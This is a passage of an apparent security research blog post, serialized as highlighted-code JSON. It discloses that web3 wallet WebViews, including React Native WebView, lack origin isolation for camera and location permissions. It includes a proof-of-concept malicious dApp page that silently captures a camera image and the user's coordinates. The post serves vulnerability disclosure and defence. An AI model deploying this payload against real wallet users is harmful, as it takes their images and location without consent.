synchronously\n",{"type":25,"tag":201,"props":157853,"children":157854},{"class":203,"line":226},[157855,157859,157863,157868,157872,157877],{"type":25,"tag":201,"props":157856,"children":157857},{"style":230},[157858],{"type":31,"value":4105},{"type":25,"tag":201,"props":157860,"children":157861},{"style":220},[157862],{"type":31,"value":238},{"type":25,"tag":201,"props":157864,"children":157865},{"style":246},[157866],{"type":31,"value":157867},"requestedAndroidPermissions",{"type":25,"tag":201,"props":157869,"children":157870},{"style":220},[157871],{"type":31,"value":80},{"type":25,"tag":201,"props":157873,"children":157874},{"style":214},[157875],{"type":31,"value":157876},"isEmpty",{"type":25,"tag":201,"props":157878,"children":157879},{"style":220},[157880],{"type":31,"value":93105},{"type":25,"tag":201,"props":157882,"children":157883},{"class":203,"line":278},[157884,157889,157893,157898,157902,157907,157911,157916,157920,157924,157929,157933,157937],{"type":25,"tag":201,"props":157885,"children":157886},{"style":246},[157887],{"type":31,"value":157888},"    request",{"type":25,"tag":201,"props":157890,"children":157891},{"style":220},[157892],{"type":31,"value":80},{"type":25,"tag":201,"props":157894,"children":157895},{"style":214},[157896],{"type":31,"value":157897},"grant",{"type":25,"tag":201,"props":157899,"children":157900},{"style":220},[157901],{"type":31,"value":298},{"type":25,"tag":201,"props":157903,"children":157904},{"style":246},[157905],{"type":31,"value":157906},"grantedPermissions",{"type":25,"tag":201,"props":157908,"children":157909},{"style":220},[157910],{"type":31,"value":80},{"type":25,"tag":201,"props":157912,"children":157913},{"style":214},[157914],{"type":31,"value":157915},"toArray",{"type":25,"tag":201,"props":157917,"children":157918},{"style":220},[157919],{"type":31,"value":298},{"type":25,"tag":201,"props":157921,"children":157922},{"style":230},[157923],{"type":31,"value":1911},{"type":25,"tag":201,"props":157925,"children":157926},{"style":4925},[157927],{"type":31,"value":157928}," String",{"type":25,"tag":201,"props":157930,"children":157931},{"style":220},[157932],{"type":31,"value":423},{"type":25,"tag":201,"props":157934,"children":157935},{"style":426},[157936],{"type":31,"value":429},{"type":25,"tag":201,"props":157938,"children":157939},{"style":220},[157940],{"type":31,"value":104596},{"type":25,"tag":201,"props":157942,"children":157943},{"class":203,"line":311},[157944,157949,157953,157957],{"type":25,"tag":201,"props":157945,"children":157946},{"style":220},[157947],{"type":31,"value":157948},"    grantedPermissions ",{"type":25,"tag":201,"props":157950,"children":157951},{"style":261},[157952],{"type":31,"value":1383},{"type":25,"tag":201,"props":157954,"children":157955},{"style":208},[157956],{"type":31,"value":71351},{"type":25,"tag":201,"props":157958,"children":157959},{"style":220},[157960],{"type":31,"value":461},{"type":25,"tag":201,"props":157962,"children":157963},{"class":203,"line":330},[157964,157968],{"type":25,"tag":201,"props":157965,"children":157966},{"style":230},[157967],{"type":31,"value":18486},{"type":25,"tag":201,"props":157969,"children":157970},{"style":220},[157971],{"type":31,"value":461},{"type":25,"tag":201,"props":157973,"children":157974},{"class":203,"line":397},[157975],{"type":25,"tag":201,"props":157976,"children":157977},{"style":220},[157978],{"type":31,"value":1187},{"type":25,"tag":34,"props":157980,"children":157981},{},[157982],{"type":31,"value":157983},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":25,"tag":40,"props":157985,"children":157987},{"id":157986},"real-world-exploitation",[157988],{"type":31,"value":157989},"Real world exploitation",{"type":25,"tag":34,"props":157991,"children":157992},{},[157993],{"type":31,"value":157994},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":25,"tag":34,"props":157996,"children":157997},{},[157998],{"type":31,"value":157999},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":25,"tag":34,"props":158001,"children":158002},{},[158003,158005,158012],{"type":31,"value":158004},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":25,"tag":71,"props":158006,"children":158009},{"href":158007,"rel":158008},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[75],[158010],{"type":31,"value":158011},"Justson",{"type":31,"value":158013},", used by a popular wallet in the Stellar ecosystem.",{"type":25,"tag":20392,"props":158015,"children":158016},{"id":40575},[158017],{"type":31,"value":3770},{"type":25,"tag":34,"props":158019,"children":158020},{},[158021],{"type":31,"value":158022},"In order to exploit this issue, we assume the following preconditions:",{"type":25,"tag":6944,"props":158024,"children":158025},{},[158026,158031,158036],{"type":25,"tag":6948,"props":158027,"children":158028},{},[158029],{"type":31,"value":158030},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":25,"tag":6948,"props":158032,"children":158033},{},[158034],{"type":31,"value":158035},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":25,"tag":6948,"props":158037,"children":158038},{},[158039],{"type":31,"value":158040},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":25,"tag":191,"props":158042,"children":158044},{"className":51099,"code":158043,"language":1303,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Cmeta charset=\"utf-8\">\n    \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n    \u003Ch2>Smile dApp :)\u003C/h2>\n    \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n    \u003Cpre id=\"gps\">\u003C/pre>\n    \u003Cimg id=\"pic\">\n    \u003Cscript>\n        window.addEventListener('unhandledrejection', function (event) {\n            alert(`Unhandled Promise Rejection: ${event.reason}`);\n        });\n        window.onerror = function (msg, url, line, col, error) {\n            alert('onerror: ' + msg);\n            return false;\n        };\n\n        async function main() {\n            const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n            const video = document.createElement(\"video\");\n            video.srcObject = stream;\n            const canvas = document.createElement(\"canvas\");\n\n            video.onloadedmetadata = () => {\n                canvas.width = video.videoWidth;\n                canvas.height = video.videoHeight;\n            };\n\n            connect.onclick = e => {\n                video.play();\n\n                canvas.getContext(\"2d\").drawImage(video, 0, 0);\n                stream.getTracks().forEach(t => t.stop());\n                canvas.toBlob((blob) => {\n                    pic.src = URL.createObjectURL(blob);\n                });\n\n                navigator.geolocation.getCurrentPosition(pos => {\n                    const c = pos.coords;\n                    gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n                }, err => alert(err));\n            };\n\n        }\n        main();\n    \u003C/script>\n\u003C/body>\n\u003C/html>\n",[158045],{"type":25,"tag":115,"props":158046,"children":158047},{"__ignoreMap":7},[158048,158068,158083,158099,158129,158152,158167,158182,158214,158260,158296,158324,158339,158385,158431,158439,158507,158535,158550,158558,158565,158585,158645,158686,158715,158756,158763,158792,158830,158867,158874,158881,158914,158935,158942,159004,159060,159096,159142,159150,159157,159200,159233,159358,159391,159398,159405,159412,159424,159439,159454],{"type":25,"tag":201,"props":158049,"children":158050},{"class":203,"line":204},[158051,158055,158059,158064],{"type":25,"tag":201,"props":158052,"children":158053},{"style":1295},[158054],{"type":31,"value":3164},{"type":25,"tag":201,"props":158056,"children":158057},{"style":208},[158058],{"type":31,"value":3169},{"type":25,"tag":201,"props":158060,"children":158061},{"style":246},[158062],{"type":31,"value":158063}," html",{"type":25,"tag":201,"props":158065,"children":158066},{"style":1295},[158067],{"type":31,"value":1308},{"type":25,"tag":201,"props":158069,"children":158070},{"class":203,"line":226},[158071,158075,158079],{"type":25,"tag":201,"props":158072,"children":158073},{"style":1295},[158074],{"type":31,"value":1298},{"type":25,"tag":201,"props":158076,"children":158077},{"style":208},[158078],{"type":31,"value":1303},{"type":25,"tag":201,"props":158080,"children":158081},{"style":1295},[158082],{"type":31,"value":1308},{"type":25,"tag":201,"props":158084,"children":158085},{"class":203,"line":278},[158086,158090,158095],{"type":25,"tag":201,"props":158087,"children":158088},{"style":1295},[158089],{"type":31,"value":1298},{"type":25,"tag":201,"props":158091,"children":158092},{"style":208},[158093],{"type":31,"value":158094},"head",{"type":25,"tag":201,"props":158096,"children":158097},{"style":1295},[158098],{"type":31,"value":1308},{"type":25,"tag":201,"props":158100,"children":158101},{"class":203,"line":311},[158102,158106,158111,158116,158120,158125],{"type":25,"tag":201,"props":158103,"children":158104},{"style":1295},[158105],{"type":31,"value":1368},{"type":25,"tag":201,"props":158107,"children":158108},{"style":208},[158109],{"type":31,"value":158110},"meta",{"type":25,"tag":201,"props":158112,"children":158113},{"style":246},[158114],{"type":31,"value":158115}," charset",{"type":25,"tag":201,"props":158117,"children":158118},{"style":220},[158119],{"type":31,"value":1383},{"type":25,"tag":201,"props":158121,"children":158122},{"style":267},[158123],{"type":31,"value":158124},"\"utf-8\"",{"type":25,"tag":201,"props":158126,"children":158127},{"style":1295},[158128],{"type":31,"value":1308},{"type":25,"tag":201,"props":158130,"children":158131},{"class":203,"line":330},[158132,158136,158140,158144,158148],{"type":25,"tag":201,"props":158133,"children":158134},{"style":1295},[158135],{"type":31,"value":1368},{"type":25,"tag":201,"props":158137,"children":158138},{"style":208},[158139],{"type":31,"value":3243},{"type":25,"tag":201,"props":158141,"children":158142},{"style":1295},[158143],{"type":31,"value":51143},{"type":25,"tag":201,"props":158145,"children":158146},{"style":208},[158147],{"type":31,"value":3243},{"type":25,"tag":201,"props":158149,"children":158150},{"style":1295},[158151],{"type":31,"value":1308},{"type":25,"tag":201,"props":158153,"children":158154},{"class":203,"line":397},[158155,158159,158163],{"type":25,"tag":201,"props":158156,"children":158157},{"style":1295},[158158],{"type":31,"value":1352},{"type":25,"tag":201,"props":158160,"children":158161},{"style":208},[158162],{"type":31,"value":158094},{"type":25,"tag":201,"props":158164,"children":158165},{"style":1295},[158166],{"type":31,"value":1308},{"type":25,"tag":201,"props":158168,"children":158169},{"class":203,"line":437},[158170,158174,158178],{"type":25,"tag":201,"props":158171,"children":158172},{"style":1295},[158173],{"type":31,"value":1298},{"type":25,"tag":201,"props":158175,"children":158176},{"style":208},[158177],{"type":31,"value":1321},{"type":25,"tag":201,"props":158179,"children":158180},{"style":1295},[158181],{"type":31,"value":1308},{"type":25,"tag":201,"props":158183,"children":158184},{"class":203,"line":464},[158185,158189,158193,158197,158202,158206,158210],{"type":25,"tag":201,"props":158186,"children":158187},{"style":1295},[158188],{"type":31,"value":1368},{"type":25,"tag":201,"props":158190,"children":158191},{"style":208},[158192],{"type":31,"value":26},{"type":25,"tag":201,"props":158194,"children":158195},{"style":1295},[158196],{"type":31,"value":1342},{"type":25,"tag":201,"props":158198,"children":158199},{"style":220},[158200],{"type":31,"value":158201},"Smile dApp :)",{"type":25,"tag":201,"props":158203,"children":158204},{"style":1295},[158205],{"type":31,"value":1352},{"type":25,"tag":201,"props":158207,"children":158208},{"style":208},[158209],{"type":31,"value":26},{"type":25,"tag":201,"props":158211,"children":158212},{"style":1295},[158213],{"type":31,"value":1308},{"type":25,"tag":201,"props":158215,"children":158216},{"class":203,"line":490},[158217,158221,158226,158230,158234,158239,158243,158248,158252,158256],{"type":25,"tag":201,"props":158218,"children":158219},{"style":1295},[158220],{"type":31,"value":1368},{"type":25,"tag":201,"props":158222,"children":158223},{"style":208},[158224],{"type":31,"value":158225},"button",{"type":25,"tag":201,"props":158227,"children":158228},{"style":246},[158229],{"type":31,"value":1378},{"type":25,"tag":201,"props":158231,"children":158232},{"style":220},[158233],{"type":31,"value":1383},{"type":25,"tag":201,"props":158235,"children":158236},{"style":267},[158237],{"type":31,"value":158238},"\"connect\"",{"type":25,"tag":201,"props":158240,"children":158241},{"style":1295},[158242],{"type":31,"value":1342},{"type":25,"tag":201,"props":158244,"children":158245},{"style":220},[158246],{"type":31,"value":158247},"Connect your wallet!",{"type":25,"tag":201,"props":158249,"children":158250},{"style":1295},[158251],{"type":31,"value":1352},{"type":25,"tag":201,"props":158253,"children":158254},{"style":208},[158255],{"type":31,"value":158225},{"type":25,"tag":201,"props":158257,"children":158258},{"style":1295},[158259],{"type":31,"value":1308},{"type":25,"tag":201,"props":158261,"children":158262},{"class":203,"line":499},[158263,158267,158271,158275,158279,158284,158288,158292],{"type":25,"tag":201,"props":158264,"children":158265},{"style":1295},[158266],{"type":31,"value":1368},{"type":25,"tag":201,"props":158268,"children":158269},{"style":208},[158270],{"type":31,"value":191},{"type":25,"tag":201,"props":158272,"children":158273},{"style":246},[158274],{"type":31,"value":1378},{"type":25,"tag":201,"props":158276,"children":158277},{"style":220},[158278],{"type":31,"value":1383},{"type":25,"tag":201,"props":158280,"children":158281},{"style":267},[158282],{"type":31,"value":158283},"\"gps\"",{"type":25,"tag":201,"props":158285,"children":158286},{"style":1295},[158287],{"type":31,"value":51143},{"type":25,"tag":201,"props":158289,"children":158290},{"style":208},[158291],{"type":31,"value":191},{"type":25,"tag":201,"props":158293,"children":158294},{"style":1295},[158295],{"type":31,"value":1308},{"type":25,"tag":201,"props":158297,"children":158298},{"class":203,"line":522},[158299,158303,158307,158311,158315,158320],{"type":25,"tag":201,"props":158300,"children":158301},{"style":1295},[158302],{"type":31,"value":1368},{"type":25,"tag":201,"props":158304,"children":158305},{"style":208},[158306],{"type":31,"value":127},{"type":25,"tag":201,"props":158308,"children":158309},{"style":246},[158310],{"type":31,"value":1378},{"type":25,"tag":201,"props":158312,"children":158313},{"style":220},[158314],{"type":31,"value":1383},{"type":25,"tag":201,"props":158316,"children":158317},{"style":267},[158318],{"type":31,"value":158319},"\"pic\"",{"type":25,"tag":201,"props":158321,"children":158322},{"style":1295},[158323],{"type":31,"value":1308},{"type":25,"tag":201,"props":158325,"children":158326},{"class":203,"line":531},[158327,158331,158335],{"type":25,"tag":201,"props":158328,"children":158329},{"style":1295},[158330],{"type":31,"value":1368},{"type":25,"tag":201,"props":158332,"children":158333},{"style":208},[158334],{"type":31,"value":1337},{"type":25,"tag":201,"props":158336,"children":158337},{"style":1295},[158338],{"type":31,"value":1308},{"type":25,"tag":201,"props":158340,"children":158341},{"class":203,"line":550},[158342,158347,158351,158356,158360,158365,158369,158373,158377,158381],{"type":25,"tag":201,"props":158343,"children":158344},{"style":246},[158345],{"type":31,"value":158346},"        window",{"type":25,"tag":201,"props":158348,"children":158349},{"style":261},[158350],{"type":31,"value":80},{"type":25,"tag":201,"props":158352,"children":158353},{"style":214},[158354],{"type":31,"value":158355},"addEventListener",{"type":25,"tag":201,"props":158357,"children":158358},{"style":261},[158359],{"type":31,"value":298},{"type":25,"tag":201,"props":158361,"children":158362},{"style":267},[158363],{"type":31,"value":158364},"'unhandledrejection'",{"type":25,"tag":201,"props":158366,"children":158367},{"style":261},[158368],{"type":31,"value":919},{"type":25,"tag":201,"props":158370,"children":158371},{"style":208},[158372],{"type":31,"value":211},{"type":25,"tag":201,"props":158374,"children":158375},{"style":261},[158376],{"type":31,"value":238},{"type":25,"tag":201,"props":158378,"children":158379},{"style":246},[158380],{"type":31,"value":83212},{"type":25,"tag":201,"props":158382,"children":158383},{"style":261},[158384],{"type":31,"value":275},{"type":25,"tag":201,"props":158386,"children":158387},{"class":203,"line":563},[158388,158393,158397,158402,158406,158410,158414,158419,158423,158427],{"type":25,"tag":201,"props":158389,"children":158390},{"style":214},[158391],{"type":31,"value":158392},"            alert",{"type":25,"tag":201,"props":158394,"children":158395},{"style":261},[158396],{"type":31,"value":298},{"type":25,"tag":201,"props":158398,"children":158399},{"style":267},[158400],{"type":31,"value":158401},"`Unhandled Promise Rejection: ",{"type":25,"tag":201,"props":158403,"children":158404},{"style":208},[158405],{"type":31,"value":3045},{"type":25,"tag":201,"props":158407,"children":158408},{"style":246},[158409],{"type":31,"value":83212},{"type":25,"tag":201,"props":158411,"children":158412},{"style":261},[158413],{"type":31,"value":80},{"type":25,"tag":201,"props":158415,"children":158416},{"style":246},[158417],{"type":31,"value":158418},"reason",{"type":25,"tag":201,"props":158420,"children":158421},{"style":208},[158422],{"type":31,"value":3078},{"type":25,"tag":201,"props":158424,"children":158425},{"style":267},[158426],{"type":31,"value":3083},{"type":25,"tag":201,"props":158428,"children":158429},{"style":261},[158430],{"type":31,"value":308},{"type":25,"tag":201,"props":158432,"children":158433},{"class":203,"line":572},[158434],{"type":25,"tag":201,"props":158435,"children":158436},{"style":261},[158437],{"type":31,"value":158438},"        });\n",{"type":25,"tag":201,"props":158440,"children":158441},{"class":203,"line":590},[158442,158446,158450,158454,158458,158462,158466,158470,158474,158478,158482,158486,158490,158495,158499,158503],{"type":25,"tag":201,"props":158443,"children":158444},{"style":246},[158445],{"type":31,"value":158346},{"type":25,"tag":201,"props":158447,"children":158448},{"style":261},[158449],{"type":31,"value":80},{"type":25,"tag":201,"props":158451,"children":158452},{"style":214},[158453],{"type":31,"value":1616},{"type":25,"tag":201,"props":158455,"children":158456},{"style":261},[158457],{"type":31,"value":1840},{"type":25,"tag":201,"props":158459,"children":158460},{"style":208},[158461],{"type":31,"value":211},{"type":25,"tag":201,"props":158463,"children":158464},{"style":261},[158465],{"type":31,"value":238},{"type":25,"tag":201,"props":158467,"children":158468},{"style":246},[158469],{"type":31,"value":59025},{"type":25,"tag":201,"props":158471,"children":158472},{"style":261},[158473],{"type":31,"value":919},{"type":25,"tag":201,"props":158475,"children":158476},{"style":246},[158477],{"type":31,"value":71459},{"type":25,"tag":201,"props":158479,"children":158480},{"style":261},[158481],{"type":31,"value":919},{"type":25,"tag":201,"props":158483,"children":158484},{"style":246},[158485],{"type":31,"value":203},{"type":25,"tag":201,"props":158487,"children":158488},{"style":261},[158489],{"type":31,"value":919},{"type":25,"tag":201,"props":158491,"children":158492},{"style":246},[158493],{"type":31,"value":158494},"col",{"type":25,"tag":201,"props":158496,"children":158497},{"style":261},[158498],{"type":31,"value":919},{"type":25,"tag":201,"props":158500,"children":158501},{"style":246},[158502],{"type":31,"value":293},{"type":25,"tag":201,"props":158504,"children":158505},{"style":261},[158506],{"type":31,"value":275},{"type":25,"tag":201,"props":158508,"children":158509},{"class":203,"line":608},[158510,158514,158518,158523,158527,158531],{"type":25,"tag":201,"props":158511,"children":158512},{"style":214},[158513],{"type":31,"value":158392},{"type":25,"tag":201,"props":158515,"children":158516},{"style":261},[158517],{"type":31,"value":298},{"type":25,"tag":201,"props":158519,"children":158520},{"style":267},[158521],{"type":31,"value":158522},"'onerror: '",{"type":25,"tag":201,"props":158524,"children":158525},{"style":261},[158526],{"type":31,"value":3636},{"type":25,"tag":201,"props":158528,"children":158529},{"style":246},[158530],{"type":31,"value":59025},{"type":25,"tag":201,"props":158532,"children":158533},{"style":261},[158534],{"type":31,"value":308},{"type":25,"tag":201,"props":158536,"children":158537},{"class":203,"line":617},[158538,158542,158546],{"type":25,"tag":201,"props":158539,"children":158540},{"style":230},[158541],{"type":31,"value":80160},{"type":25,"tag":201,"props":158543,"children":158544},{"style":208},[158545],{"type":31,"value":542},{"type":25,"tag":201,"props":158547,"children":158548},{"style":261},[158549],{"type":31,"value":461},{"type":25,"tag":201,"props":158551,"children":158552},{"class":203,"line":625},[158553],{"type":25,"tag":201,"props":158554,"children":158555},{"style":261},[158556],{"type":31,"value":158557},"        };\n",{"type":25,"tag":201,"props":158559,"children":158560},{"class":203,"line":642},[158561],{"type":25,"tag":201,"props":158562,"children":158563},{"emptyLinePlaceholder":17},[158564],{"type":31,"value":496},{"type":25,"tag":201,"props":158566,"children":158567},{"class":203,"line":659},[158568,158573,158577,158581],{"type":25,"tag":201,"props":158569,"children":158570},{"style":208},[158571],{"type":31,"value":158572},"        async",{"type":25,"tag":201,"props":158574,"children":158575},{"style":208},[158576],{"type":31,"value":39284},{"type":25,"tag":201,"props":158578,"children":158579},{"style":214},[158580],{"type":31,"value":91864},{"type":25,"tag":201,"props":158582,"children":158583},{"style":261},[158584],{"type":31,"value":223},{"type":25,"tag":201,"props":158586,"children":158587},{"class":203,"line":667},[158588,158592,158597,158601,158605,158610,158614,158619,158623,158628,158632,158637,158641],{"type":25,"tag":201,"props":158589,"children":158590},{"style":208},[158591],{"type":31,"value":152118},{"type":25,"tag":201,"props":158593,"children":158594},{"style":246},[158595],{"type":31,"value":158596}," stream",{"type":25,"tag":201,"props":158598,"children":158599},{"style":261},[158600],{"type":31,"value":1840},{"type":25,"tag":201,"props":158602,"children":158603},{"style":230},[158604],{"type":31,"value":1845},{"type":25,"tag":201,"props":158606,"children":158607},{"style":246},[158608],{"type":31,"value":158609}," navigator",{"type":25,"tag":201,"props":158611,"children":158612},{"style":261},[158613],{"type":31,"value":80},{"type":25,"tag":201,"props":158615,"children":158616},{"style":246},[158617],{"type":31,"value":158618},"mediaDevices",{"type":25,"tag":201,"props":158620,"children":158621},{"style":261},[158622],{"type":31,"value":80},{"type":25,"tag":201,"props":158624,"children":158625},{"style":214},[158626],{"type":31,"value":158627},"getUserMedia",{"type":25,"tag":201,"props":158629,"children":158630},{"style":261},[158631],{"type":31,"value":350},{"type":25,"tag":201,"props":158633,"children":158634},{"style":246},[158635],{"type":31,"value":158636},"video:",{"type":25,"tag":201,"props":158638,"children":158639},{"style":208},[158640],{"type":31,"value":13971},{"type":25,"tag":201,"props":158642,"children":158643},{"style":261},[158644],{"type":31,"value":39905},{"type":25,"tag":201,"props":158646,"children":158647},{"class":203,"line":676},[158648,158652,158657,158661,158665,158669,158673,158677,158682],{"type":25,"tag":201,"props":158649,"children":158650},{"style":208},[158651],{"type":31,"value":152118},{"type":25,"tag":201,"props":158653,"children":158654},{"style":246},[158655],{"type":31,"value":158656}," video",{"type":25,"tag":201,"props":158658,"children":158659},{"style":261},[158660],{"type":31,"value":1840},{"type":25,"tag":201,"props":158662,"children":158663},{"style":246},[158664],{"type":31,"value":1635},{"type":25,"tag":201,"props":158666,"children":158667},{"style":261},[158668],{"type":31,"value":80},{"type":25,"tag":201,"props":158670,"children":158671},{"style":214},[158672],{"type":31,"value":37791},{"type":25,"tag":201,"props":158674,"children":158675},{"style":261},[158676],{"type":31,"value":298},{"type":25,"tag":201,"props":158678,"children":158679},{"style":267},[158680],{"type":31,"value":158681},"\"video\"",{"type":25,"tag":201,"props":158683,"children":158684},{"style":261},[158685],{"type":31,"value":308},{"type":25,"tag":201,"props":158687,"children":158688},{"class":203,"line":694},[158689,158694,158698,158703,158707,158711],{"type":25,"tag":201,"props":158690,"children":158691},{"style":246},[158692],{"type":31,"value":158693},"            video",{"type":25,"tag":201,"props":158695,"children":158696},{"style":261},[158697],{"type":31,"value":80},{"type":25,"tag":201,"props":158699,"children":158700},{"style":246},[158701],{"type":31,"value":158702},"srcObject",{"type":25,"tag":201,"props":158704,"children":158705},{"style":261},[158706],{"type":31,"value":1840},{"type":25,"tag":201,"props":158708,"children":158709},{"style":246},[158710],{"type":31,"value":37331},{"type":25,"tag":201,"props":158712,"children":158713},{"style":261},[158714],{"type":31,"value":461},{"type":25,"tag":201,"props":158716,"children":158717},{"class":203,"line":707},[158718,158722,158727,158731,158735,158739,158743,158747,158752],{"type":25,"tag":201,"props":158719,"children":158720},{"style":208},[158721],{"type":31,"value":152118},{"type":25,"tag":201,"props":158723,"children":158724},{"style":246},[158725],{"type":31,"value":158726}," canvas",{"type":25,"tag":201,"props":158728,"children":158729},{"style":261},[158730],{"type":31,"value":1840},{"type":25,"tag":201,"props":158732,"children":158733},{"style":246},[158734],{"type":31,"value":1635},{"type":25,"tag":201,"props":158736,"children":158737},{"style":261},[158738],{"type":31,"value":80},{"type":25,"tag":201,"props":158740,"children":158741},{"style":214},[158742],{"type":31,"value":37791},{"type":25,"tag":201,"props":158744,"children":158745},{"style":261},[158746],{"type":31,"value":298},{"type":25,"tag":201,"props":158748,"children":158749},{"style":267},[158750],{"type":31,"value":158751},"\"canvas\"",{"type":25,"tag":201,"props":158753,"children":158754},{"style":261},[158755],{"type":31,"value":308},{"type":25,"tag":201,"props":158757,"children":158758},{"class":203,"line":715},[158759],{"type":25,"tag":201,"props":158760,"children":158761},{"emptyLinePlaceholder":17},[158762],{"type":31,"value":496},{"type":25,"tag":201,"props":158764,"children":158765},{"class":203,"line":732},[158766,158770,158774,158779,158784,158788],{"type":25,"tag":201,"props":158767,"children":158768},{"style":246},[158769],{"type":31,"value":158693},{"type":25,"tag":201,"props":158771,"children":158772},{"style":261},[158773],{"type":31,"value":80},{"type":25,"tag":201,"props":158775,"children":158776},{"style":214},[158777],{"type":31,"value":158778},"onloadedmetadata",{"type":25,"tag":201,"props":158780,"children":158781},{"style":261},[158782],{"type":31,"value":158783}," = () ",{"type":25,"tag":201,"props":158785,"children":158786},{"style":208},[158787],{"type":31,"value":390},{"type":25,"tag":201,"props":158789,"children":158790},{"style":261},[158791],{"type":31,"value":327},{"type":25,"tag":201,"props":158793,"children":158794},{"class":203,"line":749},[158795,158800,158804,158809,158813,158817,158821,158826],{"type":25,"tag":201,"props":158796,"children":158797},{"style":246},[158798],{"type":31,"value":158799},"                canvas",{"type":25,"tag":201,"props":158801,"children":158802},{"style":261},[158803],{"type":31,"value":80},{"type":25,"tag":201,"props":158805,"children":158806},{"style":246},[158807],{"type":31,"value":158808},"width",{"type":25,"tag":201,"props":158810,"children":158811},{"style":261},[158812],{"type":31,"value":1840},{"type":25,"tag":201,"props":158814,"children":158815},{"style":246},[158816],{"type":31,"value":132942},{"type":25,"tag":201,"props":158818,"children":158819},{"style":261},[158820],{"type":31,"value":80},{"type":25,"tag":201,"props":158822,"children":158823},{"style":246},[158824],{"type":31,"value":158825},"videoWidth",{"type":25,"tag":201,"props":158827,"children":158828},{"style":261},[158829],{"type":31,"value":461},{"type":25,"tag":201,"props":158831,"children":158832},{"class":203,"line":757},[158833,158837,158841,158846,158850,158854,158858,158863],{"type":25,"tag":201,"props":158834,"children":158835},{"style":246},[158836],{"type":31,"value":158799},{"type":25,"tag":201,"props":158838,"children":158839},{"style":261},[158840],{"type":31,"value":80},{"type":25,"tag":201,"props":158842,"children":158843},{"style":246},[158844],{"type":31,"value":158845},"height",{"type":25,"tag":201,"props":158847,"children":158848},{"style":261},[158849],{"type":31,"value":1840},{"type":25,"tag":201,"props":158851,"children":158852},{"style":246},[158853],{"type":31,"value":132942},{"type":25,"tag":201,"props":158855,"children":158856},{"style":261},[158857],{"type":31,"value":80},{"type":25,"tag":201,"props":158859,"children":158860},{"style":246},[158861],{"type":31,"value":158862},"videoHeight",{"type":25,"tag":201,"props":158864,"children":158865},{"style":261},[158866],{"type":31,"value":461},{"type":25,"tag":201,"props":158868,"children":158869},{"class":203,"line":765},[158870],{"type":25,"tag":201,"props":158871,"children":158872},{"style":261},[158873],{"type":31,"value":49151},{"type":25,"tag":201,"props":158875,"children":158876},{"class":203,"line":783},[158877],{"type":25,"tag":201,"props":158878,"children":158879},{"emptyLinePlaceholder":17},[158880],{"type":31,"value":496},{"type":25,"tag":201,"props":158882,"children":158883},{"class":203,"line":792},[158884,158889,158893,158898,158902,158906,158910],{"type":25,"tag":201,"props":158885,"children":158886},{"style":246},[158887],{"type":31,"value":158888},"            connect",{"type":25,"tag":201,"props":158890,"children":158891},{"style":261},[158892],{"type":31,"value":80},{"type":25,"tag":201,"props":158894,"children":158895},{"style":214},[158896],{"type":31,"value":158897},"onclick",{"type":25,"tag":201,"props":158899,"children":158900},{"style":261},[158901],{"type":31,"value":1840},{"type":25,"tag":201,"props":158903,"children":158904},{"style":246},[158905],{"type":31,"value":52532},{"type":25,"tag":201,"props":158907,"children":158908},{"style":208},[158909],{"type":31,"value":29237},{"type":25,"tag":201,"props":158911,"children":158912},{"style":261},[158913],{"type":31,"value":327},{"type":25,"tag":201,"props":158915,"children":158916},{"class":203,"line":801},[158917,158922,158926,158931],{"type":25,"tag":201,"props":158918,"children":158919},{"style":246},[158920],{"type":31,"value":158921},"                video",{"type":25,"tag":201,"props":158923,"children":158924},{"style":261},[158925],{"type":31,"value":80},{"type":25,"tag":201,"props":158927,"children":158928},{"style":214},[158929],{"type":31,"value":158930},"play",{"type":25,"tag":201,"props":158932,"children":158933},{"style":261},[158934],{"type":31,"value":1985},{"type":25,"tag":201,"props":158936,"children":158937},{"class":203,"line":809},[158938],{"type":25,"tag":201,"props":158939,"children":158940},{"emptyLinePlaceholder":17},[158941],{"type":31,"value":496},{"type":25,"tag":201,"props":158943,"children":158944},{"class":203,"line":857},[158945,158949,158953,158958,158962,158967,158971,158976,158980,158984,158988,158992,158996,159000],{"type":25,"tag":201,"props":158946,"children":158947},{"style":246},[158948],{"type":31,"value":158799},{"type":25,"tag":201,"props":158950,"children":158951},{"style":261},[158952],{"type":31,"value":80},{"type":25,"tag":201,"props":158954,"children":158955},{"style":214},[158956],{"type":31,"value":158957},"getContext",{"type":25,"tag":201,"props":158959,"children":158960},{"style":261},[158961],{"type":31,"value":298},{"type":25,"tag":201,"props":158963,"children":158964},{"style":267},[158965],{"type":31,"value":158966},"\"2d\"",{"type":25,"tag":201,"props":158968,"children":158969},{"style":261},[158970],{"type":31,"value":3953},{"type":25,"tag":201,"props":158972,"children":158973},{"style":214},[158974],{"type":31,"value":158975},"drawImage",{"type":25,"tag":201,"props":158977,"children":158978},{"style":261},[158979],{"type":31,"value":298},{"type":25,"tag":201,"props":158981,"children":158982},{"style":246},[158983],{"type":31,"value":132942},{"type":25,"tag":201,"props":158985,"children":158986},{"style":261},[158987],{"type":31,"value":919},{"type":25,"tag":201,"props":158989,"children":158990},{"style":426},[158991],{"type":31,"value":429},{"type":25,"tag":201,"props":158993,"children":158994},{"style":261},[158995],{"type":31,"value":919},{"type":25,"tag":201,"props":158997,"c